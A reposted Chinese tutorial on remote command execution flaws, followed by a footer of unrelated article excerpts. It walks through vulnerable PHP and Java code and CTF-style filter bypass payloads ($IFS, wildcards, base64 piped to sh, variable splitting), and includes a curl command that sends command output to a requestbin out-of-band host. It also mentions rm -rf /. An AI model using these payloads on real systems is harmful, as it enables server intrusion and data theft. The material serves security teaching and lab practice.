远程命令执行漏洞原理,以及防护绕过方式

一、背景

RCE(Remote Command /Code Execute) 远程代码执行漏洞
通过PHP代码注入、Java代码注入等方式连接程序中预留的后门或接口从而进行远程命令执行,达到对服务器的控制。
为什么会出现远程代码执行漏洞呢?
Web应用有时需要调用执行一些系统命令函数,比如:用户想通过Web页面输入命令,测试系统与www.xxx.com是否可以正常连接,那么Web应用底层就可能去调用系统操作命令“ping”,如果此处Web程序没有过滤好用户输入的命令时,就很可能会形成系统命令执行漏洞。

远程管理工具需要执行系统命令:我们通常使用远程管理工具链接服务器进行服务器远程管理和控制服务器的软件。如果这些工具存在漏洞,那么攻击者可以利用它来执行一些远程命令并获取对目标系统的控制权。

二、远程命令执行原理

2.1 如果没有进行过滤的远端命令执行

远程命令执行,指用户通过浏览器或者远程攻击提交执行命令,由于服务器端,没有针对执行函数做过滤,就执行了恶意命令。
比如Java代码,我们来演示一下远程代码执行漏洞:

import java.io.IOException;
import java.util.Scanner;
public class CommandRunner {public static void main(String[] args) throws IOException {Scanner scanner = new Scanner(System.in);String command = scanner.nextLine();Runtime.getRuntime().exec(command); // 潜在的远程代码执行漏洞}
}

上述代码中,程序使用Scanner类获取用户输入的命令,并使用Runtime类的exec()方法来执行该命令。然而,这里存在一个潜在的远程代码执行漏洞。如果应用程序没有对用户输入进行正确的验证和过滤,攻击者可以通过输入恶意命令来执行任意代码。

举个例子,如果用户输入ls -a,程序将执行ls -a命令来列出目录中的所有文件和文件夹。然而,如果用户输入的是rm -rf /,则相当于执行了一个删除操作,可能导致系统数据的丢失。

在Web端比较常见的PHP语言开发的系统中,如果使用了PHP的危险函数和语句(system、exec、shell_exec、passthru、popen、``、eval、assert、preg_replace、call_user_func、array_map、动态函数)经过构造后可以用字符串或是PHP代码执行系统命令的特性,从而调用这些函数实现远程代码执行,达到对服务器的控制。

2.2 对过滤进行绕过

此时我们就要参考进行命令替换了,首先我们先认识一下多个命令执行的逻辑,以Linux系统为例如下图:

符号例子解释
;A;B无论A执行成功与否都会执行B
&A&BA后台执行;A、B同时执行
&&A&&BA执行成功后才能执行B

在这里插入图片描述
其次Linux中查看和执行的命令
在这里插入图片描述
常见的查看命令
在这里插入图片描述

如果关键字符串被拦截,应该怎么绕过呢?
空格被过滤
%09(tab键的URL编码) ${IFS} 替换空格键

过滤字符串
可使用通配符 *(任意长度的字符串) ?(替换一个字符) []
比如我们要查看flag文件,我们可以使用如下绕过方式,但是过滤了flag字符串:
cat [e-g]lag
cat *lag
cat ?lag

过滤分号
; | || & &&

过滤cat
tac nl more …

过滤空格
%09(tab键url编码)${IFS} $IFS$9 <

过滤字符串
通配符
f* fla? [e-g]la[a-g]
插入符号
fl’'ag fl""ag f\lag
或者使用base64编码
Y2F0IGZsYWcucGhw就是用base64加密的cat flag.php
cat通过Base64编码需要执行
echo$IFS 1 Y 2 F 0 I G Z s Y W c u c G h w ∣ b a s e 64 1Y2F0IGZsYWcucGhw|base64 1Y2F0IGZsYWcucGhwbase64IFS$1-d|sh

三、远程命令执行例子

接下来我们通过PHP函数,来演示存在的远程命令执行漏洞

3.1 无任何过滤的远程执行函数

<?php
if(isset($_GET['c'])){$c=$_GET['c'];system($c)}
?>

该实例无任何拦截,可以执行任何通过url传入的Linux命令

3.2 执行结果无返回

<?php
if(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);
}

分析 主要是 可以构造c命令,但是使用的是system命令,但是注意 如果直接构造?c=ls 就会构造成 ls>/dev/null 2>&1 表示命令执行将结果不显示,怎么办呢?构造命令执行 ?c=ls;pwd 就会构造成 ls;pwd>/dev/null 2>&1 即将pwd结果扔进垃圾桶,ls正常执行和回显

3.3 过滤特殊字符

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

这里面主要对输入命令c进行了过滤,不能存在分号;(可以使用||分割命令,或者使用&(url中传入命令执行需要将&转义URLEncode%26))和cat(可以使用tac或者使用ca\t 等等) ,其余原理同上题?c=ls||pwd 命令查询所有文件,然后不能用cat 可以使用tac 倒叙查看flag.php 文件


<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/;|cat|flag/i", $c)){system($c." >/dev/null 2>&1");}else{echo 'error!';}
}else{highlight_file(__FILE__);
}

原理同上,不过这里面过滤了flag关键字,使用tac flag.php将会不执行,可以使用通配符 tac fla*.php

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| /i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

原理同上,这里增加过滤了空格 可以使用$IFS$9 进行代替

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

同上,这里面增加了数字和$不能过滤和*通配符(可以用?通配符),c=tac<>?lag.php||pwd 使用了绕过

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){echo($c);$d = system($c);echo "
".$d;}else{echo 'no';}
}else{highlight_file(__FILE__);
}

这道题过滤关键字特别多?c=ca\t{$IFS}fl?g.php 通过这样的命令进行绕过,因为他没有将结果扔进黑洞,所以不需要命令连接符

这是一道pikachu靶场提供了测试域名/IP的 Ping 功能(命令执行漏洞模块),通过信息收集,我们得知其对命令的过滤条件
/?ip=
PING 1.1.1.1 (1.1.1.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);die("fxck your symbol!");} else if(preg_match("/ /", $ip)){die("fxck your space!");} else if(preg_match("/bash/", $ip)){die("fxck your bash!");} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");}$a = shell_exec("ping -c 4 ".$ip);echo "
";print_r($a);
}
?>

通过代码分析发现对通配符和空格编码进行了过滤,并且"/.*f.*l.a.g./"这种正则匹配对直接构造flag以及使用通配符都无效,因为对也进行了过滤,我们可以采用变量命名方式,构造两个变量 a和b,如:?ip=1.1.1.1;b=ag;a=fl;cat$IFS 9 9 9a$b.php

3.4 执行命令没有回显

<?php
if(isset($_GET['c'])){$c=$_GET['c'];exec($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);
}

这里函数使用的exec进行远程命令执行,这个执行结果是没有回显,如果要读取特定文件flag,怎么办?考虑将结果写入另一个文件,然后单独访问这个文件,首先是这个系统是有写入权限的,或者外带数据。
比如写入另一个文件中,操作如下执行 cat flag.php > 123.txt 即可将结果写入123.txt文件中,然后通过 ?c=ls > 123.txt 即将结果写入道123.txt文件中,然后反问123.txt即可获取内容。
比如使用外带 通过https://requestbin.net/这个外带平台,但是get传参数会有长度限制?c=curl http://http.requestbin.buuoj.cn/xxx?c=ls|sed -n "1,5p"|base64 将结果显示只显示1~5行然后通过base64编码结果

四、典型案例

远程命令执行的漏洞危害特别大,已进行暴露出来的远程执行漏洞,比如:
log4j命令执行(CVE-2017-5645): 是 Apache Log4j 服务器的一个反序列化命令执行漏洞,攻击者可以利用这个漏洞通过发送精心制作的请求,远程执行命令,从而危及服务器的安全。

pache Struts漏洞(CVE-2017-5638):这是一个非常著名的RCE漏洞案例,影响了Apache Struts框架。攻击者可以通过发送恶意的HTTP请求利用该漏洞,执行任意代码并获取服务器的控制权。这个漏洞被广泛利用,导致了多个大规模数据泄露事件。

Microsoft Windows SMB漏洞(MS17-010):这是一个影响微软Windows操作系统的RCE漏洞。攻击者可以通过发送特制的SMB请求,利用该漏洞在远程系统上执行任意代码。这个漏洞被用于传播WannaCry勒索软件,造成了全球范围内的大规模攻击和数据损失。

Drupal漏洞(CVE-2018-7600):这是一个影响Drupal内容管理系统的RCE漏洞。攻击者可以通过发送特制的请求,利用该漏洞执行任意代码,并获取网站服务器的控制权。这个漏洞被广泛利用,导致了许多Drupal网站被入侵和操纵。

Apache Tomcat漏洞(CVE-2020-1938):这是一个影响Apache Tomcat服务器的RCE漏洞。攻击者可以通过发送特制的请求,利用该漏洞执行任意代码,并获取服务器的控制权。这个漏洞被称为“Ghostcat”,影响了许多Tomcat服务器。

Jenkins漏洞(CVE-2018-1000861):这是一个影响Jenkins持续集成工具的RCE漏洞。攻击者可以通过发送特制的请求,利用该漏洞在受影响的Jenkins服务器上执行任意代码。这个漏洞被广泛利用,导致了许多Jenkins服务器被入侵和滥用。

五、总结

今天分享了远程执行指令的原理和如何进行远程执行指令漏洞的利用和绕过方法,远程命令执行的漏洞危害性特别大,攻击者可以利用远程命令执行漏洞给运营团队带来如下一些危害:继承Web服务程序的权限去执行系统命令或读写文件、反弹shell、控制整个网站甚至服务器、进一步内网渗透。在防御的过程我们可以通过加强对用户输入的验证:比如限制输入内容,其次,采用最小权限原则,将程序运行权限限制在最低限度。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/157558.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

shell 脚本语句

目录 条件语句 test 命令 比较整数数值 字符串比较 命令举 条件逻辑测试操作 组合写法 举例 双中括号 ​编辑 ( ) / { } if 语句的结构 case 语句 脚本举例 识别 yes 和 no 脚本 检查磁盘使用情况脚本 新建用户以及随机设置用户密码的脚本 补充命令 [RANDOM…

【高性能计算】CUDA,OpenCL,FPGA 加速,MPI

OpenCL OpenCL&#xff08;Open Computing Language&#xff09;是一种跨平台的GPU加速技术&#xff0c;由Khronos Group开发。OpenCL允许开发人员在不同的硬件平台上编写并行计算应用程序。 OpenCL使用C语言的子集来编写应用程序&#xff0c;并提供了一组API&#xff0c;可以…

web:[GXYCTF2019]禁止套娃

题目 打开页面显示为 没有其他信息&#xff0c;查看源代码也是空的 用dirsearch扫一下 可能是git源码泄露&#xff0c;可以用githack获取源码 python Githack.py http://5063c85b-a33d-4b6f-ae67-262231a4582e.node4.buuoj.cn:81/.git/去工具所在的目录找到index.php文件 打开…

hm商城微服务远程调用及拆分

RequiredArgsConstructor是Lombok库中的一个注解 它会自动在类中生成一个构造函数&#xff0c;这个构造函数会接收类中所有被标记为final的字段&#xff0c;并将其作为参数。这个注解可以帮助我们减少样板代码&#xff0c;例如手动编写构造函数。 eg&#xff1a; public fin…

【JavaEE】Spring的创建和使用(保姆级手把手图解)

一、创建一个Spring项目 1.1 创建一个Maven项目 1.2 添加 Spring 框架支持 在pom.xml中添加 <dependencies><dependency><groupId>org.springframework</groupId><artifactId>spring-context</artifactId><version>5.2.3.RELEASE&…

数据仓库架构之详解Kappa和Lambda

目录 一、前言 二、架构详解 1 Lambda 架构 1.1 Lambda 架构组成 1.2 Lambda 特点 1.3 Lambda 架构的优点 1.4 Lambda 架构的不足 2 Kappa 架构 2.1 Kappa 架构的核心组件 2.2 Kappa 架构优点 2.3 Kappa 架构的注意事项 三、区别对比 四、选择时考虑因素 一、前言 …

vue解除数据双向绑定

let obj JSON.parse(JSON.stringify(data));例如&#xff0c;table列表中&#xff0c;点击编辑时&#xff0c;可对val进行如上操作来解除双向绑定

【冒泡排序设计】

【冒泡排序设计】 思路代码结果 思路 冒泡排序这个算法&#xff0c;对于我这样的初学者来说&#xff0c;也不是很简单&#xff01;&#xff01;&#xff01;&#xff08;没有想象的那么简单&#xff09;&#xff01;  它的核心思想是&#xff1a;两两相邻的元素进行比较&#…

源码安装Apache

一、下载Apache,源码安装Apache #下载 [rootlocalhost opt]# wget -c https://mirrors.aliyun.com/apache/httpd/httpd-2.4.58.tar.gz [rootlocalhost opt]# ls httpd-2.4.58.tar.gz [rootlocalhost opt]# tar -xf httpd-2.4.58.tar.gz [rootlocalhost opt]# ls httpd-2.4.58…

达索系统3DEXPERIENCE WORKS 2024 Fabrication新功能

当发现产品的制造环节&#xff0c;以及因产品模型本身的设计而导致制造环节存在不合理性&#xff0c;从而导致加工制造成本增加。 快速判断&#xff0c;轻松协作 在达索系统3DEXPERIENCE WORKS 2024中我们可以快速的判断产品的可制造性&#xff0c;以及快速与前端设计沟通协作…

Linux驱动开发笔记(四):设备驱动介绍、熟悉杂项设备驱动和ubuntu开发杂项设备Demo

若该文为原创文章&#xff0c;转载请注明原文出处 本文章博客地址&#xff1a;https://hpzwl.blog.csdn.net/article/details/134533533 红胖子网络科技博文大全&#xff1a;开发技术集合&#xff08;包含Qt实用技术、树莓派、三维、OpenCV、OpenGL、ffmpeg、OSG、单片机、软硬…

[AutoSar]在Davinci Configurator中导入Dbc Cdd 文件

目录 关键词平台说明一、实现步骤1.1 添加相关模块1.2 导入文件1.3 加载完成后点next而不是finish1.4 更新配置1.5 解决错误 关键词 嵌入式、C语言、autosar 平台说明 项目ValueOSautosar OSautosar厂商vector芯片厂商TI编程语言C&#xff0c;C编译器HighTec (GCC) 一、实现…

【码神之路】【Golang】博客网站的搭建【学习笔记整理 持续更新...】

介绍 一个用原生GO开发的博客网站&#xff0c;涉及Golang Web开发、Web服务器搭建和HTTP请求处理、模板与静态资源处理等 技术栈 后端&#xff1a;Go、Go并发机制前端&#xff1a;HTML模版链接直达 Golang搭建博客网站的学习视频 注&#xff1a;这里我只记录我实质✅学习到…

2021秋招-数据结构-栈、队列、数组、列表

栈、队列、数组、列表 实现方式 队列 class Queue:def __init__(self):self.items []def enqueue(self, item):self.items.append(item)def dequeue(self):return self.items.pop(0)def empty(self):return self.size() 0def size(self):return len(self.items)应用: 约瑟…

【Hello Go】Go语言文本文件处理

文本文件处理 字符串处理字符串操作ContainsJoinindexrepeatReplaceSplitTrimFields 字符串转换AppendFormatParse 正则表达式Json处理编码Json通过结构体生产Json通过map生产json 解码Json解析到结构体解析到interface 文件操作相关api介绍建立和打开文件关闭文件写文件读文件…

中国出海主力系列专访之三七互娱:亚马逊云科技助力三七互娱海外“出圈”之路

如果问&#xff0c;在众多的中国出海赛道中哪一条拥有基数最大的粉丝拥趸&#xff1f;以网络游戏、社交媒体、直播、短视频为代表的泛娱乐赛道便成为当仁不让的领跑者。 在东京、新加坡、开罗、伦敦、纽约、慕尼黑等国际都市&#xff0c;当地的年轻人会随时随地的打开“中国造”…

JOSEF 静态中间继电器 ZJY-420 DC220V 板前接线,带底座 增加触点

系列型号&#xff1a; ZJY-400中间继电器&#xff1b;ZJY-600中间继电器&#xff1b; ZJY-800中间继电器&#xff1b;ZJY-020中间继电器&#xff1b; ZJY-040中间继电器&#xff1b;ZJY-060中间继电器&#xff1b; ZJY-006中间继电器&#xff1b;ZJY-008中间继电器&#xff1b;…

SD-WAN技术:重新定义网络连接方式

随着数字化转型的不断加速&#xff0c;企业对网络的需求呼之欲出。传统的WAN网络由于配置复杂、成本高昂以及带宽利用率低等问题而面临挑战。这时SD-WAN技术的出现正好派上了用场&#xff0c;通过其虚拟化、自动化和智能化的技术手段&#xff0c;大幅度提高了企业网络性能和可靠…

Ps:裁剪工具 - 裁剪预设的应用

裁剪工具提供了两种类型的裁剪方式。 一种是仅按宽高比&#xff08;比例&#xff09;进行裁剪&#xff0c;常在对图像进行二次构图时采用。 另一种则按指定的图像尺寸&#xff08;宽度值和高度值&#xff09;及分辨率&#xff08;宽 x 高 x 分辨率&#xff09;进行裁剪。其实质…

关于一些网络的概述

语义分割网络是一种基于深度学习的计算机视觉技术,它能够将图像中的每个像素分配给特定的类别,从而实现对图像中不同对象的精确识别和定位。近年来,随着深度学习技术的不断发展,语义分割网络在各个领域都取得了显著的进展。 早期的语义分割网络主要采用全卷积神经网络(FC…